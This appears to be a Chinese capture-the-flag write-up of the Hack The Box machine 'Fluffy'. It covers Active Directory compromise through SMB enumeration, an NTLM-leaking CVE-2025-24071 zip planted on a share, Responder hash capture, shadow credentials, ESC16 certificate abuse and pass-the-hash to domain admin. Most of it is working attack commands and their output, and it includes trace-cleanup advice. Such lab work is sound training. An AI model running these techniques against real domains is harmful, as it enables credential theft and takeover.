fluffy-htb #
给了一个账号
j.fleischman / J0elTHEM4n1990!
Nmap扫描 #
添加到hosts里
10.10.11.69 DC01.fluffy.htb fluffy.htb 添加hosts
登录 SMB 服务后,工具会自动尝试从 RID 1000 开始递增枚举(通常域用户 RID 从 1000 起),向域控发送查询请求,获取每个 RID 对应的 用户名、组名或计算机名。
crackmapexec smb 10.10.11.69 -u j.fleischman -p J0elTHEM4n1990 --shares 枚举smb共享目录信息
选中SidtypeUser组 以\分割 选中第二部分 不选择空格 放到users.txt中
crackmapexec smb 10.10.11.69 -u j.fleischman -p J0elTHEM4n1990! –rid-brute | grep “SidTypeUser” | awk -F ‘\’ ‘{print $2}’ | awk ‘{print $1}’ > users.txt
试一下密码喷射发现不行
进入SMB目录寻找讯息
这里有一个PDF 我们打开提示了 CVE信息
CVE-2025-24071_PoC-main
https://github.com/0x6rss/CVE-2025-24071_PoC/
python poc.py
└─# python poc.py
Enter your file name: exp
Enter IP (EX: 192.168.1.162): 10.10.16.9
completed
放入生成的文件
drw-rw-rw- 0 Tue Sep 2 21:39:52 2025 .
drw-rw-rw- 0 Tue Sep 2 21:39:52 2025 ..
drw-rw-rw- 0 Fri May 16 22:51:49 2025 Everything-1.4.1.1026.x64
-rw-rw-rw- 1827464 Fri May 16 22:51:49 2025 Everything-1.4.1.1026.x64.zip
drw-rw-rw- 0 Fri May 16 22:51:49 2025 KeePass-2.58
-rw-rw-rw- 3225346 Fri May 16 22:51:49 2025 KeePass-2.58.zip
-rw-rw-rw- 169963 Sat May 17 22:31:07 2025 Upgrade_Notice.pdf
put exploit.zip 放入文件
然后监听
responder -I tun0 -wvF
我们获得了一个账号密码 用john破解下 prometheusx-303 (p.agila)
使用bloodhound来分析域环境 #
bloodhound-python -u j.fleischman -p J0elTHEM4n1990! -k -d fluffy.htb –zip -c All -dc dc01.fluffy.htb -ns 10.10.11.69 –dns-tcp
通过上面两个图可以得出
P.AGILA属于SERVICE管理组 这个组对service account有全部通用权限 这个serviceaccount 可以管理三个用户
SERVICE ACCOUNTS 对 ca_svc、ldap_svc、winrm_svc 等账户有 GenericWrite 权限, 这意味着可以向这些账户添加自定义 KeyCredentia
影子攻击 #
这里提示什么时间就ntpdata同步下和DC的时间 提示权限就重新执行加入组命令
https://github.com/CravateRouge/BloodyAD
先添加用户到该组获得执行那三个系统用户权限-如果后面提示拒绝就重新运行下这个命令
命令成功运行后,p.agila 用户会被添加到 SERVICE ACCOUNTS 组中,成为该组的成员。
└─# bloodyAD -d fluffy.htb -u p.agila -p ‘prometheusx-303’ –dc-ip 10.10.11.69 add groupMember ‘SERVICE ACCOUNTS’ p.agila
[+] p.agila added to SERVICE ACCOUNTS 成功添加
获得winrm用户的hash
certipy-ad shadow auto -u ‘p.agila@fluffy.htb’ -p ‘prometheusx-303’ -account ‘winrm_svc’ -target dc01.fluffy.htb -dc-ip 10.10.11.69
使用evil登录获得user.flag
获取ca_svc用户 NTLM hash certipy-ad shadow auto -u ‘p.agila@fluffy.htb’ -p ‘prometheusx-303’ -account ‘ca_svc’ -target dc01.fluffy.htb -dc-ip 10.10.11.69
执行下面寻找有无漏洞命令提示不存在模板需要更新下需要更新版本
certipy-ad find -username ca_svc -hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip 10.10.11.69 -vulnerable
ly4k/Certipy: Tool for Active Directory Certificate Services enumeration and abuse
进去后pip install . 需要python版本>=12 如果python版本不匹配还要下载python 3.12.0.4
source certipy-3.12-env/bin/activate 激活pip虚拟环境
certipy find -username ca_svc -hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip 10.10.11.69 -vulnerable
发现漏洞ESC16
ESC16 #
certipy account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -user 'ca_svc' read
将受害者账户的 UPN 更新为目标管理员的 sAMAccountName。
certipy account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -upn 'administrator' -user 'ca_svc' update
以 p.agila 身份为 ca_svc 账户添加影子凭据(修改 msDS-KeyCredentialLink 属性),并自动完成证书申请与认证,最终获取 ca_svc 的 NT 哈希或票据。
certipy shadow -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -account 'ca_svc' auto
export KRB5CCNAME=ca_svc.ccache
certipy req -k -dc-ip '10.10.11.69' -target 'DC01.FLUFFY.HTB' -ca 'fluffy-DC01-CA' -template 'User'
还原“受害者”帐户的 UPN。
certipy account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -upn 'ca_svc@fluffy.htb' -user 'ca_svc' update
以目标管理员身份进行身份验证。
certipy auth -dc-ip '10.10.11.69' -pfx 'administrator.pfx' -username 'administrator' -domain 'fluffy.htb'
1:验证 p.agila 是否对 ca_svc 有基本的读取权限(为后续修改操作铺路);
certipy account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -user 'ca_svc' read
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Reading attributes for 'ca_svc':
cn : certificate authority service
distinguishedName : CN=certificate authority service,CN=Users,DC=fluffy,DC=htb
name : certificate authority service
objectSid : S-1-5-21-497550768-2797716248-2627064577-1103
sAMAccountName : ca_svc
servicePrincipalName : ADCS/ca.fluffy.htb
userPrincipalName : ca_svc@fluffy.htb
userAccountControl : 66048
whenCreated : 2025-04-17T16:07:50+00:00
whenChanged : 2025-09-02T15:31:47+00:00
2:将 ca_svc 的 UPN 临时修改为 administrator
- UPN(用户主体名称) 是域用户的唯一标识(格式:
用户名@域名),修改为administrator后,ca_svc在证书申请时会被识别为administrator; - 实际完整格式是
administrator@fluffy.htb),是为了欺骗证书服务器(CA): - CA 在验证证书申请时,会检查申请者的 UPN 是否符合模板权限。修改后,CA 会误认为是
administrator本人在申请证书,从而颁发高权限证书,实现 “伪装身份” 的目的。
certipy account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -upn 'administrator' -user 'ca_svc' update
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_svc':
userPrincipalName : administrator
[*] Successfully updated 'ca_svc'
3:为 ca_svc 添加影子凭据,获取认证材料
影子凭据:通过修改 ca_svc 的 msDS-KeyCredentialLink 属性,添加一个新的密钥对,本质是为 ca_svc 注入一个可控的 “虚拟密码” 生成一个密钥文件
certipy shadow -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -account 'ca_svc' auto
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '7ce9744427f5487f82ef4285adb01852'
[*] Adding Key Credential with device ID '7ce9744427f5487f82ef4285adb01852' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID '7ce9744427f5487f82ef4285adb01852' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Certificate identities:
[*] No identities found in this certificate
[*] Using principal: 'ca_svc@fluffy.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'ca_svc.ccache'
[*] Wrote credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': ca0f4f9e9eb8a092addf53bb03fc98c8
export KRB5CCNAME=ca_svc.ccache 指定文件
4:以 ca_svc 身份(伪装成 administrator)申请证书
-k表示使用 Kerberos 票据(即ca_svc.ccache)认证;- 向
fluffy-DC01-CA证书服务器申请User模板证书:由于ca_svc的 UPN 已改为administrator,CA 会误认为是administrator申请证书,最终颁发包含administrator身份的证书(如administrator.pfx); User模板通常允许导出私钥,这是后续认证的关键。
certipy req -k -dc-ip '10.10.11.69' -target 'DC01.FLUFFY.HTB' -ca 'fluffy-DC01-CA' -template 'User'
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[!] DC host (-dc-host) not specified and Kerberos authentication is used. This might fail
[*] Requesting certificate via RPC
[*] Request ID is 15
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
5:用途:将 ca_svc 的 UPN 还原为原始值
- 攻击完成后清理痕迹,避免管理员发现
ca_svc的 UPN 被篡改; - 若不还原,可能触发日志告警或被安全工具检测。
certipy account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -upn 'ca_svc@fluffy.htb' -user 'ca_svc' update
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_svc':
userPrincipalName : ca_svc@fluffy.htb
[*] Successfully updated 'ca_svc'
6:使用 administrator.pfx 证书认证为域管理员
- 通过第 5 步申请的
administrator.pfx证书(包含私钥)进行 Kerberos 认证; - 成功后可获取
administrator的 NT 哈希或 TGT 票据,直接登录域控或其他高权限资源(如通过evil-winrm远程控制域控)。
certipy auth -dc-ip '10.10.11.69' -pfx 'administrator.pfx' -username 'administrator' -domain 'fluffy.htb'
[*] Certificate identities:
[*] SAN UPN: 'administrator'
[*] Using principal: 'administrator@fluffy.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@fluffy.htb': aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e
evil登录拿到ROOT
evil-winrm -u administrator -H 8da83a3fa618b6e3a00e93f676c92a6e -i 10.10.11.69
整体攻击逻辑(核心链) #
- 权限准备:
p.agila需对ca_svc有GenericWrite或WriteProperty权限(用于修改 UPN 和添加影子凭据); - 身份伪装:修改
ca_svc的 UPN 为administrator,欺骗 CA 服务器; - 凭据注入:为
ca_svc添加影子凭据,获取认证用的 Kerberos 票据; - 证书申请:利用伪装身份和影子凭据,申请
administrator的高权限证书; - 权限提升:用证书认证为
administrator,实现域管理员权限接管; - 痕迹清理:还原
ca_svc的 UPN,降低被发现的概率。